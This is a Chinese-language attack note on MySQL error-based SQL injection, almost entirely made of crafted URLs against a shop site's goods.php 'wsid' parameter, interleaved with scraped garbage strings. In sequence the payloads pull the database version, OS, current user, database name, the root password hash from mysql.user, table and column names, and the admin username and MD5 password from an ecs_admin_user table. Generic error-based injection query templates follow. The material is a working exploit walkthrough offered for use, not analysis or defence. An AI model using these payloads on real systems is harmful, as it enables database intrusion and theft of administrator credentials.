盲注详细内容

admin

判断版本号
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

3 S: r7 T( I6 T) ^3 U8 m4 U判断系统

$ ^) P5 ]1 @' `! v. M8 khttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
3 p. B( Y7 B8 f6 ~9 X3 p" G; y1 _
7 H( Z( Z" @; t$ B. Z% F* ^/ y& Z  S
( p4 `: n6 M  a8 D# z1 P
) x+ V  Z8 s, O+ Y9 L: T当前 user()
  m+ D8 ]3 R* S2 B  s
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

4 s$ T% i+ N+ r% K" B3 y

5 Y& ?* T! |3 D/ X" Q8 \6 \当前 database()
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

9 H) D% M8 z& G/ K. o

& c* K% J3 t/ t5 I" c* R6 d  h7 B
) z$ _- [* x# O% r" W; g- w; Proot hash

4 M# S; O1 o) X8 D- Y  Y& yhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
. l9 K! j" d0 l2 ]

2 e" U0 C, q+ X3 f% x# h1 c- F! k$ c
: n! U9 A* T7 u) K当前 数据库表名

; Q& {& L; h$ L& U8 s( Q4 c% rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 e* G( x* v* f0 R7 ?0 \9 Q
2 D1 ?5 h* v9 B& Y) @
: R( p3 M4 H' m$ S2 q: p# U3 s3 o  `
+ b( P# a1 l6 y# U4 Q当前 数据库 user_name 字段
( Z1 t2 [9 j" a, M# M3 ]
" y* j* f2 y- N( n$ Bhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
) t8 k2 V- g; C6 f6 c
( F% g1 V2 V; r& F3 Q当前 数据库 字段 password
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
; C  F$ q7 b8 Q) W4 v
! g0 G' Z. n' c$ n, z& G5 L/ y! T

* @! Q5 y% N# j7 e% Y0 Q; U获得 admin passwd(md5)

2 L( Y' G$ {4 u0 q
3 I- k, u  M8 f, ?5 rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
, x" |6 g/ v9 e& B  c# P# @
5 B& w4 ~( [. q+ e0 }报错注射
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)

6 Y7 J0 E# y- O' x! bSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
$ G4 n* M) {/ ]" m2 D! V, Q" C
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)